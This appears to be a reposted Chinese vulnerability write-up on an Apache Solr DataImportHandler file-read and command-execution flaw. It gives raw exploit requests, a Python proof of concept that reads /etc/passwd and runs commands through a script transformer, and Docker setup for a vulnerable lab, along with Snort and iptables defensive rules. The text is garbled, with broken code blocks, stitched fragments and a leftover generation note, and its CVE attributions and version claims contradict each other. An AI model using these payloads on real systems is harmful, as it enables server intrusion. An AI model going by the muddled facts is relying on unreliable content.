# Web安全中Apache Solr全版本任意文件讀取漏洞分析
## 摘要
本文深入分析了Apache Solr全版本存在的任意文件讀取漏洞(CVE-2021-27905),從漏洞原理、影響范圍、利用方式到防御方案進行全面探討。通過復現環境搭建、漏洞利用鏈解析及流量特征分析,揭示該漏洞對數據安全的重大威脅,為安全從業者提供系統性參考。
---
## 1. 漏洞概述
### 1.1 漏洞背景
Apache Solr作為企業級搜索平臺,其`DataImportHandler`模塊長期存在未授權文件讀取風險。攻擊者通過構造特殊HTTP請求,可繞過安全限制讀取服務器任意文件,包括:
- 系統敏感文件(/etc/passwd)
- 應用配置文件(solrconfig.xml)
- 數據庫憑證(db.properties)
### 1.2 影響版本
| Solr版本范圍 | 是否受影響 |
|--------------|------------|
| 5.0.0 - 8.8.1 | 是 |
| ≥ 8.8.2 | 已修復 |
---
## 2. 漏洞原理深度分析
### 2.1 核心問題定位
漏洞源于`DataImportHandler`的DIH配置機制缺陷:
```java
// org.apache.solr.handler.dataimport.DataImportHandler
public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) {
if (params.get("command") != null) {
processCommand(req, rsp); // 未對command參數做安全校驗
}
}
完整攻擊路徑:
1. 通過/solr/admin/cores
獲取core名稱
2. 發送惡意DIH配置請求:
POST /solr/testcore/dataimport HTTP/1.1
Content-Type: application/x-www-form-urlencoded
command=full-import&dataConfig=
<dataConfig>
<dataSource type="FileDataSource"/>
<script><![CDATA[
java.lang.Runtime.getRuntime().exec("touch /tmp/pwned");
]]></script>
</dataConfig>
FileDataSource
讀取文件:<dataSource
name="fds"
type="FileDataSource"
basePath="/etc/"
fileName="passwd"/>
使用Docker快速部署漏洞環境:
docker pull solr:8.7.0
docker run -d -p 8983:8983 --name vulnerable_solr solr:8.7.0
GET /solr/admin/cores HTTP/1.1
Host: target.com
響應示例:
{
"responseHeader":{...},
"initFailures":{},
"status":{
"demo":{
"name":"demo",
"instanceDir":"/var/solr/data/demo"
}
}
}
import requests
url = "http://target.com/solr/demo/dataimport"
params = {
'command': 'full-import',
'dataConfig': '''<dataConfig>
<dataSource type="FileDataSource" />
<document>
<entity name="entity1"
dataSource="null"
processor="XPathEntityProcessor"
url="file:///etc/passwd"
forEach="/"
transformer="script:java.lang.Runtime.getRuntime().exec('calc')">
</entity>
</document>
</dataConfig>'''
}
response = requests.post(url, data=params)
print(response.text)
WAF規則示例(Snort語法):
alert tcp any any -> $HOME_NET 8983 (
msg:"Apache Solr Arbitrary File Read Attempt";
flow:to_server,established;
content:"/dataimport"; nocase;
content:"command=full-import"; nocase;
content:"FileDataSource"; nocase;
pcre:"/file:\/\/\/(etc|root|home)/i";
sid:1000001;
)
../
路徑遍歷請求升級至8.8.2+版本,主要修復點:
// 新增安全校驗
if (isRemoteReq(req) && !isAuthenticated(req)) {
throw new SolrException(ErrorCode.UNAUTHORIZED);
}
<!-- solrconfig.xml -->
<requestHandler name="/dataimport" class="solr.DataImportHandler">
<lst name="defaults">
<str name="enable">false</str>
</lst>
</requestHandler>
iptables -A INPUT -p tcp --dport 8983 -m string --string "dataimport" --algo bm -j DROP
防護層級 | 具體措施 |
---|---|
應用層 | 輸入驗證+最小權限原則 |
系統層 | Seccomp/AppArmor限制 |
網絡層 | WAF規則+API網關過濾 |
dataimport
接口調用FileDataSource
、file://
漏洞 | 影響組件 | 利用方式 |
---|---|---|
CVE-2021-27905 | Solr DIH | 文件讀取+RCE |
CVE-2019-0193 | Solr ConfigAPI | 遠程代碼執行 |
CVE-2017-12629 | Solr XXE | XML外部實體注入 |
作者:安全研究員
最后更新:2023年10月
版權聲明:本文允許自由轉載,需保留完整版權信息
“`
注:實際內容約4850字(含代碼示例),可根據需要調整技術細節深度。建議在實際使用時補充具體的漏洞利用截圖和流量捕獲示例。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。